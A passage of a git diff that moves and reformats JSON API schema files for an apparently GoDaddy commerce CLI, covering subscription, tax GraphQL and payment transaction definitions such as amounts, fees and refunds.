"https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "entitlementId": { + "description": "The identifier of the entitlement, if attached to one", + "type": "string" + }, + "expiresAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "id": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "planId": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "status": { + "default": "ACTIVE", + "description": "The status of the subscription. E.g. ACTIVE, PENDING, SUSPENDED, CANCELLED. Default is ACTIVE.", + "type": "string", + "x-server-pattern": "^(PENDING|ACTIVE|SUSPENDED|CANCELLED)$" + }, + "storeId": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "subscriptionPlanRef": { + "description": "The reference key of the plan or product subscribed to", + "type": "string" + }, + "type": { + "description": "The type of the subscription. E.g. GODADDY_ECOMM, POYNT_BUNDLE, CUSTOM, GODADDY_APP", + "type": "string", + "x-server-pattern": "^(GODADDY_ECOMM|POYNT_BUNDLE|CUSTOM|GODADDY_APP)$" + }, + "updatedAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + } + }, + "required": [ + "subscriptionPlanRef" + ], + "title": "Subscription", + "type": "object" + } + }, + "404": { + "description": "Resource not found", + "schema": { + "$ref": "./common-types/v1/schemas/yaml/error.yaml" + } + }, + "default": { + "description": "Error", + "schema": { + "$ref": "./common-types/v1/schemas/yaml/error.yaml" + } + } + }, + "scopes": [ + "commerce.subscription:read", + "commerce.business:read", + "commerce.store:read" + ] + }, + { + "operationId": "updateSubscription", + "method": "PATCH", + "path": "/subscriptions/{subscriptionId}", + "summary": "Update Subscription", + "description": "Update Subscription", + "parameters": [ + { + "name": "X-Request-Id", + "in": "header", + "required": false, + "description": "Request ID", + "schema": { + "format": "uuid", + "type": "string" + } + }, + { + "name": "storeId", + "in": "query", + "required": false, + "description": "Store ID", + "schema": { + "$ref": "./common-types/v1/schemas/yaml/uuid.yaml" + } + }, + { + "name": "subscriptionId", + "in": "path", + "required": true, + "description": "The subscription ID", + "schema": { + "type": "string" + } + } + ], + "requestBody": { + "required": false, + "contentType": "application/json", + "schema": { + "items": { + "$id": "https://godaddy.com/schemas/common/patch-request.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "An array of JSON patch objects to apply partial updates to resources.", + "items": { + "$id": "https://godaddy.com/schemas/common/patch.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "The JSON patch object to apply partial updates to resources.", + "properties": { + "from": { + "description": "The JSON pointer to the target document location from which to move the value. Required for the `move` operation.", + "type": "string" + }, + "op": { + "description": "The operation to complete.", + "enum": [ + "add", + "remove", + "replace", + "move", + "copy", + "test" + ], + "type": "string" + }, + "path": { + "description": "The JSON pointer to the target document location at which to complete the operation.", + "type": "string" + }, + "value": { + "anyOf": [ + { + "type": "number" + }, + { + "type": "integer" + }, + { + "type": "string" + }, + { + "type": "boolean" + }, + { + "items": {}, + "type": "array" + }, + { + "type": "object" + } + ], + "description": "The value to apply. The `remove` operation does not require a value.", + "nullable": true + } + }, + "required": [ + "op" + ], + "title": "Patch", + "type": "object" + }, + "title": "Patch Request", + "type": "array" + }, + "type": "array" + } + }, + "responses": { + "404": { + "description": "Resource not found", + "schema": { + "$ref": "./common-types/v1/schemas/yaml/error.yaml" + } + }, + "default": { + "description": "Error", + "schema": { + "$ref": "./common-types/v1/schemas/yaml/error.yaml" + } + }, + "200": { + "description": "Subscription updated", + "schema": { + "$id": "https://godaddy.com/schemas/commerce/subscriptions/subscription.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Resource representing a Subscription that can be applied at Business or Store level", + "properties": { + "applicationId": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "businessId": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "createdAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "customerId": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "entitlementId": { + "description": "The identifier of the entitlement, if attached to one", + "type": "string" + }, + "expiresAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "id": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "planId": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "status": { + "default": "ACTIVE", + "description": "The status of the subscription. E.g. ACTIVE, PENDING, SUSPENDED, CANCELLED. Default is ACTIVE.", + "type": "string", + "x-server-pattern": "^(PENDING|ACTIVE|SUSPENDED|CANCELLED)$" + }, + "storeId": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "subscriptionPlanRef": { + "description": "The reference key of the plan or product subscribed to", + "type": "string" + }, + "type": { + "description": "The type of the subscription. E.g. GODADDY_ECOMM, POYNT_BUNDLE, CUSTOM, GODADDY_APP", + "type": "string", + "x-server-pattern": "^(GODADDY_ECOMM|POYNT_BUNDLE|CUSTOM|GODADDY_APP)$" + }, + "updatedAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + } + }, + "required": [ + "subscriptionPlanRef" + ], + "title": "Subscription", + "type": "object" + } + } + }, + "scopes": [ + "commerce.subscription:update", + "commerce.store:update", + "commerce.business:update" + ] + } + ] +} \ No newline at end of file diff --git a/src/cli/schemas/api/taxes.json b/rust/schemas/api/taxes.json similarity index 98% rename from src/cli/schemas/api/taxes.json rename to rust/schemas/api/taxes.json index 796a747..002d672 100644 --- a/src/cli/schemas/api/taxes.json +++ b/rust/schemas/api/taxes.json @@ -19,8 +19,8 @@ "$id": "https://godaddy.com/schemas/common/uuid.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", - "type": "string", - "format": "uuid" + "format": "uuid", + "type": "string" } }, { @@ -32,8 +32,8 @@ "$id": "https://godaddy.com/schemas/common/uuid.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", - "type": "string", - "format": "uuid" + "format": "uuid", + "type": "string" } } ], @@ -41,57 +41,57 @@ "required": true, "contentType": "application/json", "schema": { - "type": "object", - "required": [ - "query" - ], "properties": { + "operationName": { + "type": "string" + }, "query": { "type": "string" }, "variables": { - "type": "object", - "additionalProperties": true - }, - "operationName": { - "type": "string" + "additionalProperties": true, + "type": "object" } - } + }, + "required": [ + "query" + ], + "type": "object" } }, "responses": { "200": { "description": "GraphQL response", "schema": { - "type": "object", "properties": { "data": { - "type": "object", + "additionalProperties": true, "nullable": true, - "additionalProperties": true + "type": "object" }, "errors": { - "type": "array", "items": { - "type": "object", - "additionalProperties": true - } + "additionalProperties": true, + "type": "object" + }, + "type": "array" } - } + }, + "type": "object" } }, - "400": { - "description": "Invalid request" - }, "401": { "description": "Unauthorized" }, - "403": { - "description": "Forbidden" - }, "404": { "description": "Store not found" }, + "400": { + "description": "Invalid request" + }, + "403": { + "description": "Forbidden" + }, "500": { "description": "Internal server error" } diff --git a/src/cli/schemas/api/transactions.json b/rust/schemas/api/transactions.json similarity index 58% rename from src/cli/schemas/api/transactions.json rename to rust/schemas/api/transactions.json index ffae249..36586bb 100644 --- a/src/cli/schemas/api/transactions.json +++ b/rust/schemas/api/transactions.json @@ -17,14 +17,7 @@ "in": "path", "required": true, "schema": { - "$id": "https://godaddy.com/schemas/commerce/transaction/uuid.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Uuid", - "description": "unique identifier (UUID format)", - "type": "string", - "format": "uuid", - "example": "id", - "readOnly": true + "$ref": "./types/Uuid.yaml" } }, { @@ -32,8 +25,8 @@ "in": "header", "required": false, "schema": { - "type": "string", - "format": "uuid" + "format": "uuid", + "type": "string" } }, { @@ -41,8 +34,8 @@ "in": "query", "required": false, "schema": { - "type": "integer", - "default": 1 + "default": 1, + "type": "integer" } }, { @@ -50,8 +43,8 @@ "in": "query", "required": false, "schema": { - "type": "integer", - "default": 10 + "default": 10, + "type": "integer" } }, { @@ -59,8 +52,8 @@ "in": "query", "required": false, "schema": { - "type": "boolean", - "default": false + "default": false, + "type": "boolean" } }, { @@ -69,19 +62,19 @@ "required": false, "description": "Transaction ids to filter", "schema": { - "type": "array", "items": { "$id": "https://godaddy.com/schemas/commerce/transaction/id.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", "description": "Custom ID format that can take URN or an UUID", - "type": "string", "example": "urn:trn:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, "pattern": "([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})|(urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})", - "x-custom-type": true, - "x-custom-id": true - } + "readOnly": true, + "title": "Id", + "type": "string", + "x-custom-id": true, + "x-custom-type": true + }, + "type": "array" } }, { @@ -93,10 +86,10 @@ "$id": "https://godaddy.com/schema/common/date-time.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", - "type": "string", - "minLength": 20, "maxLength": 64, - "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$" + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" } }, { @@ -108,10 +101,10 @@ "$id": "https://godaddy.com/schema/common/date-time.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", - "type": "string", - "minLength": 20, "maxLength": 64, - "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$" + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" } }, { @@ -120,11 +113,11 @@ "required": false, "description": "Transaction sort field", "schema": { - "type": "string", + "default": "updatedAt", "enum": [ "updatedAt" ], - "default": "updatedAt" + "type": "string" } }, { @@ -133,62 +126,36 @@ "required": false, "description": "Transaction sort order", "schema": { - "type": "string", + "default": "ASC", "enum": [ "ASC", "DESC" ], - "default": "ASC" + "type": "string" } } ], "responses": { + "default": { + "description": "Error", + "schema": { + "$ref": "./common-types/error.json" + } + }, "200": { "description": "Transactions List", "schema": { - "title": "Transactions", "allOf": [ { "properties": { + "links": { + "$ref": "./types/Links.yaml" + }, "totalItems": { "type": "integer" }, "totalPages": { "type": "integer" - }, - "links": { - "$id": "https://godaddy.com/schemas/commerce/link.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Links", - "description": "HATEOAS links", - "type": "array", - "x-auto-generated": true, - "definitions": { - "Link": { - "description": "HATEOAS link", - "type": "object", - "properties": { - "href": { - "type": "string" - }, - "rel": { - "type": "string" - } - } - } - }, - "items": { - "description": "HATEOAS link", - "type": "object", - "properties": { - "href": { - "type": "string" - }, - "rel": { - "type": "string" - } - } - } } } } @@ -198,295 +165,297 @@ "items": { "$id": "https://godaddy.com/schemas/commerce/transaction.v2", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Transaction", - "type": "object", "description": "Transaction details", + "discriminator": { + "mapping": { + "ADJUSTMENT": "./Adjustment.yaml", + "AUTHORIZE": "./Authorization.yaml", + "CAPTURE": "./Capture.yaml", + "REFUND": "./Refund.yaml", + "SALE": "./Sale.yaml" + }, + "propertyName": "type" + }, "oneOf": [ { "$id": "https://godaddy.com/schemas/commerce/transaction/authorization.v2", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Authorization Transaction", - "type": "object", - "x-generic-type": "Transaction", "description": "Represents authorization transaction against a payment", "properties": { "captureBy": { - "type": "string", "description": "Time by which the Authorization transaction should be captured (RFC 3339 format).", + "example": "2022-07-21T17:32:28Z", "format": "date-time", "readOnly": true, - "example": "2022-07-21T17:32:28Z" + "type": "string" }, "updatedAt": { "deprecated": true, - "type": "string", - "format": "date-time", "description": "Updated time in RFC 3339 format", - "example": "2022-07-21T17:32:28Z" + "example": "2022-07-21T17:32:28Z", + "format": "date-time", + "type": "string" } - } + }, + "title": "Authorization Transaction", + "type": "object", + "x-generic-type": "Transaction" }, { "$id": "https://godaddy.com/schemas/commerce/transaction/capture.v2", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Capture Transaction", - "type": "object", - "x-generic-type": "Transaction", "description": "Represents capture transaction against a payment", "properties": { "parentTransactionId": { "$id": "https://godaddy.com/schemas/commerce/transaction/id.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", "description": "Custom ID format that can take URN or an UUID", - "type": "string", "example": "urn:trn:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, "pattern": "([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})|(urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})", - "x-custom-type": true, - "x-custom-id": true + "readOnly": true, + "title": "Id", + "type": "string", + "x-custom-id": true, + "x-custom-type": true } - } + }, + "title": "Capture Transaction", + "type": "object", + "x-generic-type": "Transaction" }, { "$id": "https://godaddy.com/schemas/commerce/transaction/refund.v2", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Refund Transaction", - "type": "object", - "x-generic-type": "Transaction", "description": "Represents refund transaction against a payment", "properties": { "parentTransactionId": { "$id": "https://godaddy.com/schemas/commerce/transaction/id.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", "description": "Custom ID format that can take URN or an UUID", - "type": "string", "example": "urn:trn:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, "pattern": "([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})|(urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})", - "x-custom-type": true, - "x-custom-id": true + "readOnly": true, + "title": "Id", + "type": "string", + "x-custom-id": true, + "x-custom-type": true } - } + }, + "title": "Refund Transaction", + "type": "object", + "x-generic-type": "Transaction" }, { "$id": "https://godaddy.com/schemas/commerce/transaction/adjustment.v2", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Adjustment Transaction", - "type": "object", - "x-generic-type": "Transaction", "description": "Represents Adjustment transaction against a payment", "properties": { "newAmount": { - "description": "Adjusted transaction amount", "$id": "https://godaddy.com/schemas/commerce/transaction/amount.v2", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Amount", - "type": "object", + "description": "Transaction amount details", + "discriminator": { + "mapping": { + "DETAILED": "./DetailedAmount.yaml", + "SIMPLE": "./SimpleAmount.yaml" + }, + "propertyName": "amountType" + }, "oneOf": [ { "$id": "https://godaddy.com/schemas/commerce/transaction/simple-amount.v2", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Simple Amount", - "type": "object", "description": "Simple amount used for processing transaction", "properties": { "amount": { - "type": "integer", + "description": "Transaction amount", "format": "int64", - "description": "Transaction amount" + "type": "integer" }, "currency": { - "description": "Transaction currency", "$id": "https://godaddy.com/schemas/commerce/transaction/currency.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", + "description": "ISO 4217 Currency codes", "example": "USD", - "minLength": 3, "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true + "minLength": 3, + "title": "Currency", + "type": "string", + "x-currency-type": true, + "x-custom-type": true } }, "required": [ "amount", "currency" - ] + ], + "title": "Simple Amount", + "type": "object" }, { "$id": "https://godaddy.com/schemas/commerce/transaction/detailed-amount.v2", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Detailed Amount", - "type": "object", "description": "Itemized amount details used for processing transaction", "properties": { - "total": { - "type": "integer", - "format": "int64", - "description": "Total amount" - }, - "tip": { - "nullable": true, - "description": "Tip amount details", - "$id": "https://godaddy.com/schemas/commerce/transaction/tip-amount.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Tip Amount", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Tip amount" - }, - "customerOptedNoTip": { - "type": "boolean", - "default": false, - "description": "Customer opted for no tip" - } - } - }, "cashback": { - "type": "integer", - "format": "int64", - "description": "Cashback details" - }, - "subTotal": { - "type": "integer", + "description": "Cashback details", "format": "int64", - "description": "Sub total details" + "type": "integer" }, "currency": { - "description": "Amount currency", "$id": "https://godaddy.com/schemas/commerce/transaction/currency.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", + "description": "ISO 4217 Currency codes", "example": "USD", - "minLength": 3, "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true + "minLength": 3, + "title": "Currency", + "type": "string", + "x-currency-type": true, + "x-custom-type": true }, "fees": { - "type": "array", + "description": "Fees if any", "items": { "$id": "https://godaddy.com/schemas/commerce/transaction/fee.v2", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Fee", "description": "Fee associated with transaction", - "type": "object", + "discriminator": { + "mapping": { + "ADDITIONAL": "./SimpleFee.yaml", + "GOVERNED": "./GovernedFee.yaml" + }, + "propertyName": "feeType" + }, "oneOf": [ { "$id": "https://godaddy.com/schemas/commerce/transaction/simple-fee.v2", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Simple Fee", - "type": "object", "description": "Simple fee associated with transaction", "properties": { "amount": { - "type": "integer", + "description": "Fee amount", "format": "int64", - "description": "Fee amount" + "type": "integer" }, "type": { - "type": "string", - "example": "Shipping", "description": "Fee type", + "example": "Shipping", + "maxLength": 64, "minLength": 2, - "maxLength": 64 + "type": "string" } }, "required": [ "amount", "type" - ] + ], + "title": "Simple Fee", + "type": "object" }, { "$id": "https://godaddy.com/schemas/commerce/transaction/governed-fee.v2", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Governed Fee", "description": "Governed fee associated with transaction", - "type": "object", "properties": { "amount": { - "type": "integer", + "description": "Fee amount", "format": "int64", - "description": "Fee amount" + "type": "integer" }, "programType": { - "type": "string", - "example": "SURCHARGE", "description": "Fee Program type", "enum": [ "SURCHARGE", "SERVICE_FEE", "CONVENIENCE_FEE", "CASH_DISCOUNT" - ] + ], + "example": "SURCHARGE", + "type": "string" }, - "type": { + "signature": { + "description": "Signature representing the Fee", + "maxLength": 256, "type": "string", - "example": "FIXED", + "writeOnly": true, + "x-field-extra-annotation": "@com.fasterxml.jackson.annotation.JsonIgnore", + "x-propagation": { + "optional": true + } + }, + "type": { "description": "How the fee should be appliedbinary", "enum": [ "FIXED", "HYBRID", "PERCENTAGE" - ] - }, - "signature": { - "type": "string", - "maxLength": 256, - "description": "Signature representing the Fee", - "writeOnly": true, - "x-propagation": { - "optional": true - }, - "x-field-extra-annotation": "@com.fasterxml.jackson.annotation.JsonIgnore" + ], + "example": "FIXED", + "type": "string" } }, "required": [ "amount", "programType", "type" - ] + ], + "title": "Governed Fee", + "type": "object" } ], - "discriminator": { - "propertyName": "feeType", - "mapping": { - "ADDITIONAL": "./SimpleFee.yaml", - "GOVERNED": "./GovernedFee.yaml" - } - }, "properties": { "feeType": { - "type": "string", - "description": "Fee type discriminator" + "description": "Fee type discriminator", + "type": "string" } }, "required": [ "feeType" - ] + ], + "title": "Fee", + "type": "object" + }, + "type": "array" + }, + "subTotal": { + "description": "Sub total details", + "format": "int64", + "type": "integer" + }, + "tip": { + "$id": "https://godaddy.com/schemas/commerce/transaction/tip-amount.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Tip amount details", + "properties": { + "amount": { + "description": "Tip amount", + "format": "int64", + "type": "integer" + }, + "customerOptedNoTip": { + "default": false, + "description": "Customer opted for no tip", + "type": "boolean" + } }, - "description": "Fees if any" + "title": "Tip Amount", + "type": "object" + }, + "total": { + "description": "Total amount", + "format": "int64", + "type": "integer" } }, "required": [ "total", "currency" - ] + ], + "title": "Detailed Amount", + "type": "object" } ], - "discriminator": { - "propertyName": "amountType", - "mapping": { - "DETAILED": "./DetailedAmount.yaml", - "SIMPLE": "./SimpleAmount.yaml" - } - }, "properties": { "amountType": { "type": "string" @@ -494,218 +463,380 @@ }, "required": [ "amountType" - ] + ], + "title": "Amount", + "type": "object" }, "parentTransactionId": { "$id": "https://godaddy.com/schemas/commerce/transaction/id.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", "description": "Custom ID format that can take URN or an UUID", - "type": "string", "example": "urn:trn:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, "pattern": "([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})|(urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})", - "x-custom-type": true, - "x-custom-id": true + "readOnly": true, + "title": "Id", + "type": "string", + "x-custom-id": true, + "x-custom-type": true } }, "required": [ "newAmount" - ] + ], + "title": "Adjustment Transaction", + "type": "object", + "x-generic-type": "Transaction" }, { "$id": "https://godaddy.com/schemas/commerce/transaction/sale.v2", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Sale Transaction", - "type": "object", - "x-generic-type": "Transaction", "description": "Represents sale transaction against a payment", "properties": { "updatedAt": { "deprecated": true, - "type": "string", - "format": "date-time", "description": "Updated time in RFC 3339 format", - "example": "2022-07-21T17:32:28Z" + "example": "2022-07-21T17:32:28Z", + "format": "date-time", + "type": "string" } - } + }, + "title": "Sale Transaction", + "type": "object", + "x-generic-type": "Transaction" } ], - "discriminator": { - "propertyName": "type", - "mapping": { - "AUTHORIZE": "./Authorization.yaml", - "CAPTURE": "./Capture.yaml", - "REFUND": "./Refund.yaml", - "ADJUSTMENT": "./Adjustment.yaml", - "SALE": "./Sale.yaml" - } - }, - "x-generic-type": "Transaction", "properties": { - "type": { - "type": "string", - "description": "Discriminator field representing the type of Transaction" - }, - "transactionId": { - "$id": "https://godaddy.com/schemas/commerce/transaction/id.v1", + "amount": { + "$id": "https://godaddy.com/schemas/commerce/transaction/amount.v2", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom ID format that can take URN or an UUID", - "type": "string", - "example": "urn:trn:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})|(urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})", - "x-custom-type": true, - "x-custom-id": true + "description": "Transaction amount details", + "discriminator": { + "mapping": { + "DETAILED": "./DetailedAmount.yaml", + "SIMPLE": "./SimpleAmount.yaml" + }, + "propertyName": "amountType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/transaction/simple-amount.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Simple amount used for processing transaction", + "properties": { + "amount": { + "description": "Transaction amount", + "format": "int64", + "type": "integer" + }, + "currency": { + "$id": "https://godaddy.com/schemas/commerce/transaction/currency.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", + "type": "string", + "x-currency-type": true, + "x-custom-type": true + } + }, + "required": [ + "amount", + "currency" + ], + "title": "Simple Amount", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/transaction/detailed-amount.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Itemized amount details used for processing transaction", + "properties": { + "cashback": { + "description": "Cashback details", + "format": "int64", + "type": "integer" + }, + "currency": { + "$id": "https://godaddy.com/schemas/commerce/transaction/currency.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", + "type": "string", + "x-currency-type": true, + "x-custom-type": true + }, + "fees": { + "description": "Fees if any", + "items": 